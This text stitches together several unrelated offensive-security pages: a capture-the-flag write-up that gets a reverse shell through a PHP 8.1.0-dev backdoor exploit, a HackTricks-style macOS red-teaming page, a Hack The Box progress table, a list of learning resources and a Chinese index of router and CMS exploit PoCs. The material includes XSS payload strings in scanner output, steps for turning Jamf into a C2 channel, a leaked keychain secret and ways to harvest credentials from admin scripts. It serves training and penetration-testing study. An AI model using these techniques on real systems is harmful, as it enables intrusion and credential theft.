```
Only port 80 is open.
I also ran a full port-scan here, but nothing else showed up. For a while, I was doing directory scanning and subdomain enumeration, which also didn't really find anything.
### Nikto
I typically never run Nikto, but my scanning wasn't showing anything, and neither were burp or my manual webpage exploration.
`nikto -h http://10.10.137.94`
```
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: 10.10.114.122
+ Target Hostname: 10.10.114.122
+ Target Port: 80
+ Start Time: 2022-12-10 23:27:48 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: PHP/8.1.0-dev
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-44056: /sips/sipssys/users/a/admin/user: SIPS v0.2.2 allows user account info (including password) to be retrieved remotely.
+ OSVDB-27071: /phpimageview.php?pic=javascript:alert(8754): PHP Image View 1.0 is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3931: /myphpnuke/links.php?op=MostPopular&ratenum=[script]alert(document.cookie);[/script]&ratetype=percent: myphpnuke is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ /modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id_cat=1&categories=%3Cimg%20src=javascript:alert(9456);%3E&parent_id=0: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ /modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-4598: /members.asp?SF=%22;}alert(223344);function%20x(){v%20=%22: Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-2946: /forum_members.asp?find=%22;}alert(9823);function%20x(){v%20=%22: Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3092: /demo/: This might be interesting...
+ OSVDB-18114: /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF: Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution
+ 6544 items checked: 24 error(s) and 11 item(s) reported on remote host
+ End Time: 2022-12-10 23:56:23 (GMT-5) (1715 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```
Here, we can see a header titled `X-Powered-By` with the contents `PHP/8.1.0-dev`
It looks like this version of PHP is vulnerable to Remote Code Execution through a backdoor.
I looked up an exploit with searchsploit and downloaded it with
`searchsploit -m php/webapps/49933.py`
Running this exploit and entering the hostname gets us a reverse shell.
For some reason I couldn't change directories, so I used `ls /` to see that the `flag.txt` was in `/flag.txt`: `flag{4127d0530abf16d6d23973e3df8dbecb}` |
# macOS Red Teaming
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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</details>
## Abusing MDMs
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines.
For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
{% endcontent-ref %}
### Using MDM as a C2
A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key...
In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm).
However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything.
To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed).
**Mythic agent Orthrus** uses this technique.
### Abusing JAMF PRO
JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...).
#### JAMF self-enrolment
Go to a page such as `https://<company-name>.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**.
You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack.
Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form:
.png>)
#### JAMF device Authentication
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\
Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF Device Takeover
The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**. \
This file basically contains the URL:
{% code overflow="wrap" %}
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
{% endcode %}
So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2.
{% code overflow="wrap" %}
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
```
{% endcode %}
#### JAMF Impersonation
In order to **impersonate the communication** between a device and JMF you need:
* The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate
With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information.
#### Secrets stealing
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**.
However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root).
The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments.
### macOS Remote Access
And also about **MacOS** "special" **network** **protocols**:
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
{% endcontent-ref %}
## Active Directory
In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
{% content-ref url="../../windows-hardening/active-directory-methodology/" %}
[active-directory-methodology](../../windows-hardening/active-directory-methodology/)
{% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-kerberos-88/" %}
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %}
Some **local MacOS tool** that may also help you is `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration.
### Domain Information
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Users
The three types of MacOS users are:
* **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory.
* **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate.
* **Mobile Users** — Active Directory users with a local backup for their credentials and files.
The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\
For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database:
* **CanSSH** - entity allowed to SSH to host
* **CanVNC** - entity allowed to VNC to host
* **CanAE** - entity allowed to execute AppleEvent scripts on host
```bash
#User enumeration
dscl . ls /Users
dscl . read /Users/[username]
dscl "/Active Directory/TEST/All Domains" ls /Users
dscl "/Active Directory/TEST/All Domains" read /Users/[username]
dscacheutil -q user
#Computer enumeration
dscl "/Active Directory/TEST/All Domains" ls /Computers
dscl "/Active Directory/TEST/All Domains" read "/Computers/[compname]$"
#Group enumeration
dscl . ls /Groups
dscl . read "/Groups/[groupname]"
dscl "/Active Directory/TEST/All Domains" ls /Groups
dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information
dsconfigad -show
```
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
## Accessing the Keychain
The Keychain highly probably contains sensitive information that if accessed withuot generating a prompt could help to move forward a red team exercise:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
{% endcontent-ref %}
## External Services
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin:
.png>)
## Misc Red Team techniques
### Safari
When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed:
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
## References
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<details>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
|
# Hack The Box
[Hack The Box](https://www.hackthebox.eu) is an online platform allowing you to test and advance your skills in cyber security.
**Reversing 4/10**
| Title | Points | Status | WriteUp |
| :---: | :---: | :---: | :---: |
| Crack This! | 80 | :disappointed_relieved: | |
| The Art of Reversing | 40 | :disappointed_relieved: | |
| Tear Or Dear | 20 | :disappointed_relieved: | |
| Bombs Landed | 80 | :disappointed_relieved: | |
| Find The Easy Pass | 20 | :wink: | TBD |
| Eat the Cake! | 60 | :wink: | TBD |
| Pseudo | 90 | :disappointed_relieved: | |
| Impossible Password | 30 | :wink: | TBD |
| Find The Secret Flag | 50 | :disappointed_relieved: | |
| Snake | 10 | :wink: | TBD |
**Cryptography 7/11**
| Title | Points | Status | WriteUp |
| :---: | :---: | :---: | :---: |
| Weak RSA | 20 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/crypto/weak-rsa) |
| Sick Teacher | 20 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/crypto/sick-teacher) |
| Classic, yet complicated! | 10 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/crypto/class-yet-complicated)
| Infinite Descent | 90 | :disappointed_relieved: | |
| Deceitful Batman | 10 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/crypto/deceitful-batman) |
| Ebola Virus | 100 | :disappointed_relieved: | |
| You Can Do It! | 10 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/crypto/you-can-do-it) |
| Brainy's Cipher | 30 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/crypto/brainys-cipher) |
| Keys | 40 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/crypto/keys) |
| Mission Impossible | 90 | :disappointed_relieved: | |
| Please, don't share! | 80 | :disappointed_relieved: | |
**Steganography 13/17**
| Title | Points | Status | WriteUp |
| :---: | :---: | :---: | :---: |
| Raining Blood | 40 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/raining-blood) |
| Monstrosity | 90 | :disappointed_relieved: | |
| BitsNBytes | 70 | :disappointed_relieved: | |
| Widescreen | 20 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/widescreen) |
| Hackerman | 30 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/hackerman) |
| Hidden in Colors | 70 | :wink: | TBD |
| Milkshake | 10 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/milkshake) |
| Digital Cube | 60 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/digital-cube) |
| Forest | 40 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/forest)
| Da Vinci | 30 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/da-vinci) |
| Beatles | 30 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/beatles) |
| Unified | 20 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/unified) |
| Pusheen Loves Graphs | 30 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/pusheen-loves-graphs) |
| Retro | 50 | :wink: | TBD |
| Senseless Behaviour | 50 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/stego/senseless-behaviour) |
| Not Art | 70 | :disappointed_relieved: | |
| Massacre | 100 | :disappointed_relieved: | |
**Pwn 0/5**
| Title | Points | Status | WriteUp |
| :---: | :---: | :---: | :---: |
| Ropme | 80 | :disappointed_relieved: | |
| Little Tommy | 40 | :disappointed_relieved: | |
| Dream Diary: Chapter 1 | 90 | :disappointed_relieved: | |
| Dream Diary: Chapter 2 | 90 | :disappointed_relieved: | |
| Old Bridge | 80 | :disappointed_relieved: | |
**Web 5/5**
| Title | Points | Status | WriteUp |
| :---: | :---: | :---: | :---: |
| HDC | 30 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/web/hdc) |
| I know Mag1k | 50 | :wink: | TBD |
| Grammar | 70 | :wink: | TBD |
| Lernaean | 20 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/web/lernaean) |
| Cartographer | 30 | :wink: | [link](https://github.com/ajdumanhug/hackthebox/tree/master/web/cartographer)
**Misc 7/8**
| Title | Points | Status | WriteUp |
| :---: | :---: | :---: | :---: |
| fs0ciety | 30 | :wink: | TBD |
| 0ld is g0ld | 10 | :wink: | TBD |
| Art | 20 | :wink: | TBD |
| Inferno | 20 | :wink: | TBD |
| misDIRection | 20 | :wink: | TBD |
| Eternal Loop | 20 | :disappointed_relieved: | |
| Longbottom's Locker | 20 | :wink: | TBD |
| Blackhole | 20 | :wink: | TBD |
**Forensics 0/5**
| Title | Points | Status | WriteUp |
| :---: | :---: | :---: | :---: |
| Marshal in the Middle | 40 | :disappointed_relieved: | |
| Deadly Arthropod | 40 | :disappointed_relieved: | |
| Reminiscent | 40 | :disappointed_relieved: | |
| Keep Tryin' | 50 | :disappointed_relieved: | |
| Blue Shadow | 60 | :disappointed_relieved: | |
**Mobile 0/1**
| Title | Points | Status | WriteUp |
| :---: | :---: | :---: | :---: |
| Cryptohorrific | 40 | :disappointed_relieved: | |
**Pwned Machines**
| Machine Name | OS | User | Root | Status | WriteUp |
| :---: | :---: | :---: | :---: | :---: | :---: |
| Jerry | <img src="https://www.hackthebox.eu/images/win.png" width="20" height="20"> | :wink: | :wink: | Active | TBD |
| Poison | <img src="https://www.hackthebox.eu/images/freebsd.png" width="20" height="20"> | :wink: | :wink: | Retired | TBD |
|
## A Repository of resources to learn Cyber Security Topics From:
I will try to break the resources in Major Categories and then break them down into more niche topics when needed :). Please feel free to make a pull request with a resource you wanna add or if you wanna make some Contributions as well. Also this library is not complete i will be adding more resources as I come across them. If you have any Feedback feel free to reach out to me.
### Starting Out:
This section will have some of the resources i used when i was starting in the field of Cybersecurity and some i feel would help people out in getting their knowledge up in the field of CyberSecurity.
1. **Tryhackme** : https://tryhackme.com/ :
This is hands down the best resource in my humble opinion to get started with, It has a lot walkthrough boxes, guides, and teaches you the basics very well i have learnt soo soo much from Tryhackme i would highly recommend to any one starting or even to someone who is InfoSec for a while as it has contents for all skill levels.
1.1. I would highly recommend starting with the Begginer Path for which you would have to Pathy 10$ a month but its highly worth it and you get tons more things with it.
1.2. If you dont want to get the Premium Subscription just yet try following the free path from Tryhackme which you can find here : https://blog.tryhackme.com/free_path/
2. **Hackthebox Academy** : https://academy.hackthebox.eu/ :
This is another resource that recently released but it is more on the paid side for most of their content but they do have some great and detailed free modules which i would highly recommend. Some of the free content includes stuff like Linux Fundamentals , Introduction to Networking, etc.
3. **Penetration Testing Student course from INE** : https://checkout.ine.com/starter-pass :
This is another great resource to get started in Penetration Testing even if you have no prior background in IT, this course will help you out a lot and get you set with your Fundamentals in the field of Cybersecurity the PTS course is the course for their certification eJPT which I would highly recommend as well but it costs around 200$ for get 1 attempt which includes a free retake which is a very good price in my opinion.
4. **Hacker101** : https://www.hacker101.com/playlists/newcomers :
So if you are looking to get into the Field of Bug Bounty and Web Security this is a great resource to start with they have video tutorials / CTFs to test your skills and docs.
5. **TCM Practical Ethical Hacking Course** : https://academy.tcm-sec.com/p/practical-ethical-hacking-the-complete-course :
This is another great resource i would highly recommend to anyone planning to get into the field of Cybersecurity , This course goes through a lot of topics like AD Hacking, Exploit Development, Networking, Scripting, Web Security, Network Security and much more and all of the content is very well explained and taught.
### OSCP Preparation:
1. **OSCP Labs**: https://www.offensive-security.com/pwk-oscp/ : [ $999 - $1400 ] : The best resource to start your preparation for the OSCP is the official labs as they provide a good overview of how and what to expect in the exam and its made to prepare you for the exam.
2. **Offensive Security Proving Grounds**: https://portal.offensive-security.com/sign-up/pg : [ $20 per month ] This in my opinion is an amazing resource to study and prepare for the OSCP for as it provides a very good idea of how the difficulty works in Offsec exams etc. and i personally learned a lot of new things and techniques from the platform i would recommend mostly all of the Easy/Medium boxes (Some Boxes are preety hard, so dont worry if you can't get the boxes without Hints/Walkthroughs offered by Offsec on the Platform). If you can't do all the boxes i would highly recommend doing the boxes mentioned in TJNull List which i have mentioned later on.
3. **Virtual Hacking Labs** : https://www.virtualhackinglabs.com/ : [ $99 per month ] : This is another great resource i stumbled accrosss while researching for OSCP and it turned out to be a great resource for preperation of the exam. Its a little expensive, but its a very good lab. They also have a course that they teach which is also very well laid out in case you want some extra preparation and material to learn from.
4. **TJ Null List** : https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159 : This is a very good list created by one of the mentors from Offsec called TJNull and its a list of basically boxes that are OSCP like and are good to prepare for the exam. It has boxes from all kinds of platform like HTB, Vulnhub, Tryhackme, Proving Grounds and so on.
### Active Directory Penetration Testing:
So Active Directory is a very important topic a lot of people overlook in Cybersecurity so I wanted to point out some good resources i found to learn about Active Directory.
1. **Tryhackme Active Directory Basics** : https://tryhackme.com/room/activedirectorybasics : [ Available with Tryhackme Premium : Paid ] :
This is a great room that will give you the basic knowledge around Active Directory , it covers a lot of topics like how Active Directory is structured what it is, Active Directory on premise, on cloud, etc, what policies, trusts, forests are.
2. **Building an Active Directory Lab** : https://robertscocca.medium.com/building-an-active-directory-lab-82170dd73fb4 : [Free] :
What better way to learn about something then build it yourself you can use the basic knowledge you gained above and try to apply it here and make your own home lab you would have to have some RAM and storage to set it up but leaving that all VMs and everything is free . Even if you don't wanna make a lab i would recommend going through the article and getting some basic idea of how it would work.
3. **IRed Team** : https://www.ired.team/ : [ Free ]
This is another great resource to find some common offensive security techniques, red teaming techniques, and it has in depth details about the attacks they demonstrate.
4. **ADSecurity** : https://adsecurity.org/ :
This is another great resource to learn stuff for free about PowerShell, Enterprise Security, Active Directory security, methods to defend against such attacks, etc.
5. **CRTP** : https://www.pentesteracademy.com/activedirectorylab : https://bootcamps.pentesteracademy.com/course/ad-beginner-may-21 : [Paid : Atleast 300$ for 30days ] :
This is a paid resource but a very good one in this Nikhil Mittal who is a very known person in the field of Cyber Security teaches you Active Directory from the basics, some basics PowerShell commands, how AD works how to be stealthy in a RedTeaming engagement and some techniques, though in this case i would highly recommend the live boot camp as you can ask more questions etc. directly on spot.
|
## <span id="head1"> Penetration_Testing_POC</span>
搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。
- [ Penetration_Testing_POC](#head1)
- [ 请善用搜索[`Ctrl+F`]查找](#head2)
- [IOT Device&Mobile Phone](#head3)
- [Web APP](#head4)
- [ 提权辅助相关](#head5)
- [ PC](#head6)
- [ tools-小工具集合](#head7)
- [ 文章/书籍/教程相关](#head8)
- [ 说明](#head9)
## <span id="head2"> 请善用搜索[`Ctrl+F`]查找</span>
## <span id="head3">IOT Device&Mobile Phone</span>
- [天翼创维awifi路由器存在多处未授权访问漏洞](天翼创维awifi路由器存在多处未授权访问漏洞.md)
- [华为WS331a产品管理页面存在CSRF漏洞](华为WS331a产品管理页面存在CSRF漏洞.md)
- [CVE-2019-16313 蜂网互联企业级路由器v4.31密码泄露漏洞](./CVE-2019-16313%20蜂网互联企业级路由器v4.31密码泄露漏洞.md)
- [D-Link路由器RCE漏洞](./CVE-2019-16920-D-Link-rce.md)
- [CVE-2019-13051-Pi-Hole路由端去广告软件的命令注入&权限提升](./CVE-2019-13051)
- [D-Link DIR-859 - RCE UnAutenticated (CVE-2019–17621)](https://github.com/s1kr10s/D-Link-DIR-859-RCE)
- [Huawei HG255 Directory Traversal[目录穿越]](https://packetstormsecurity.com/files/155954/huaweihg255-traversal.rb.txt)|[本地备份文件](./tools/huaweihg255-traversal.rb)
- [D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215(Metasploit)](./POC_Details/D-Link%20Devices%20-%20Unauthenticated%20Remote%20Command%20Execution%20in%20ssdpcgi%20(Metasploit)%20CVE-2019-20215.rb)
- [从 Interfaces.d 到 RCE：Mozilla WebThings IoT 网关漏洞挖掘](https://research.nccgroup.com/2020/02/10/interfaces-d-to-rce/)
- [小米系列路由器远程命令执行漏洞（CVE-2019-18370，CVE-2019-18371）](https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md)
- [Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload-未经验证即可替换固件)](https://www.exploit-db.com/exploits/48158)
- [cve-2020-8634&cve-2020-8635](https://www.exploit-db.com/exploits/48160)|[Wing FTP Server 6.2.3权限提升漏洞发现分析复现过程](https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php)|[Wing FTP Server 6.2.5权限提升](https://www.exploit-db.com/exploits/48154)
- [CVE-2020-9374-TP LINK TL-WR849N - RCE](./CVE-2020-9374.md)
- [CVE-2020-12753-LG 智能手机任意代码执行漏洞](https://github.com/shinyquagsire23/CVE-2020-12753-PoC)
- [CVE-2020-12695-UPnP 安全漏洞](https://github.com/yunuscadirci/CallStranger)
- [79款 Netgear 路由器遭远程接管0day](https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.06.15-netgear/exploit.py)
- [dlink-dir610-exploits-Exploits for CVE-2020-9376 and CVE-2020-9377](https://github.com/renatoalencar/dlink-dir610-exploits)
## <span id="head4">Web APP</span>
- [致远OA_A8_getshell_0day](致远OA_A8_getshell_0day.md)
- [Couch through 2.0存在路径泄露漏洞 ](Couch%20through%202.0存在路径泄露漏洞.md)
- [Cobub Razor 0.7.2存在跨站请求伪造漏洞](Cobub%20Razor%200.7.2存在跨站请求伪造漏洞.md)
- [joyplus-cms 1.6.0存在CSRF漏洞可增加管理员账户](joyplus-cms%201.6.0存在CSRF漏洞可增加管理员账户.md)
- [MiniCMS 1.10存在CSRF漏洞可增加管理员账户](MiniCMS%201.10存在CSRF漏洞可增加管理员账户.md)
- [Z-Blog 1.5.1.1740存在XSS漏洞](Z-Blog%201.5.1.1740存在XSS漏洞.md)
- [YzmCMS 3.6存在XSS漏洞](YzmCMS%203.6存在XSS漏洞.md)
- [Cobub Razor 0.7.2越权增加管理员账户](Cobub%20Razor%200.7.2越权增加管理员账户.md)
- [Cobub Razor 0.8.0存在SQL注入漏洞](Cobub%20Razor%200.8.0存在SQL注入漏洞.md)
- [Cobub Razor 0.8.0存在物理路径泄露漏洞](Cobub%20Razor%200.8.0存在物理路径泄露漏洞.md)
- [五指CMS 4.1.0存在CSRF漏洞可增加管理员账户](五指CMS%204.1.0存在CSRF漏洞可增加管理员账户.md)
- [DomainMod的XSS集合](DomainMod的XSS集合.md)
- [GreenCMS v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户](GreenCMS%20v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户.md)
- [yii2-statemachine v2.x.x存在XSS漏洞](yii2-statemachine%20v2.x.x存在XSS漏洞.md)
- [maccms_v10存在CSRF漏洞可增加任意账号](maccms_v10存在CSRF漏洞可增加任意账号.md)
- [LFCMS 3.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户](LFCMS%203.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户.md)
- [Finecms_v5.4存在CSRF漏洞可修改管理员账户密码](Finecms_v5.4存在CSRF漏洞可修改管理员账户密码.md)
- [Amazon Kindle Fire HD (3rd Generation)内核驱动拒绝服务漏洞](Amazon%20Kindle%20Fire%20HD%20\(3rd%20Generation\)内核驱动拒绝服务漏洞.md)
- [Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞](Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞.md)
- [Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号](Hucart%20cms%20v5.7.4%20CSRF漏洞可任意增加管理员账号.md)
- [indexhibit cms v2.1.5 直接编辑php文件getshell](indexhibit%20cms%20v2.1.5%20直接编辑php文件getshell.md)
- [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md)
- [S-CMS PHP v3.0存在SQL注入漏洞](S-CMS%20PHP%20v3.0存在SQL注入漏洞.md)
- [MetInfoCMS 5.X版本GETSHELL漏洞合集](MetInfoCMS%205.X版本GETSHELL漏洞合集.md)
- [discuz ml RCE 漏洞检测工具](discuz-ml-rce/README.md)
- [thinkphp5框架缺陷导致远程代码执行](thinkphp5框架缺陷导致远程代码执行.md)
- [FineCMS_v5.0.8两处getshell](FineCMS_v5.0.8两处getshell.md)
- [Struts2_045漏洞批量检测|搜索引擎采集扫描](Struts2_045-Poc)
- [thinkphp5命令执行](thinkphp5命令执行.md)
- [typecho反序列化漏洞](typecho反序列化漏洞.md)
- [CVE-2019-10173 Xstream 1.4.10版本远程代码执行](CVE-2019-10173%20Xstream%201.4.10版本远程代码执行漏洞.md)
- [IIS/CVE-2017-7269-Echo-PoC](./IIS/CVE-2017-7269-Echo-PoC)
- [CVE-2019-15107 Webmin RCE](./CVE-2019-15107)
- [thinkphp5 rce漏洞检测工具](./tp5-getshell)
- [thinkphp5_RCE合集](./tp5-getshell/TP5_RCE合集.md)
- [thinkphp3.X-thinkphp5.x](./tp5-getshell/ThinkPHP.md)
- [关于ThinkPHP框架的历史漏洞分析集合](https://github.com/Mochazz/ThinkPHP-Vuln)
- [CVE-2019-11510](./CVE-2019-11510)
- [Redis(<=5.0.5) RCE](./redis-rogue-server)
- [Redis 4.x/5.x RCE（主从复制导致RCE）](https://github.com/Ridter/redis-rce)
- [生成Redis恶意模块so文件配合主从复制RCE达到命令执行](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)|[相关文章](https://www.freebuf.com/vuls/224235.html)
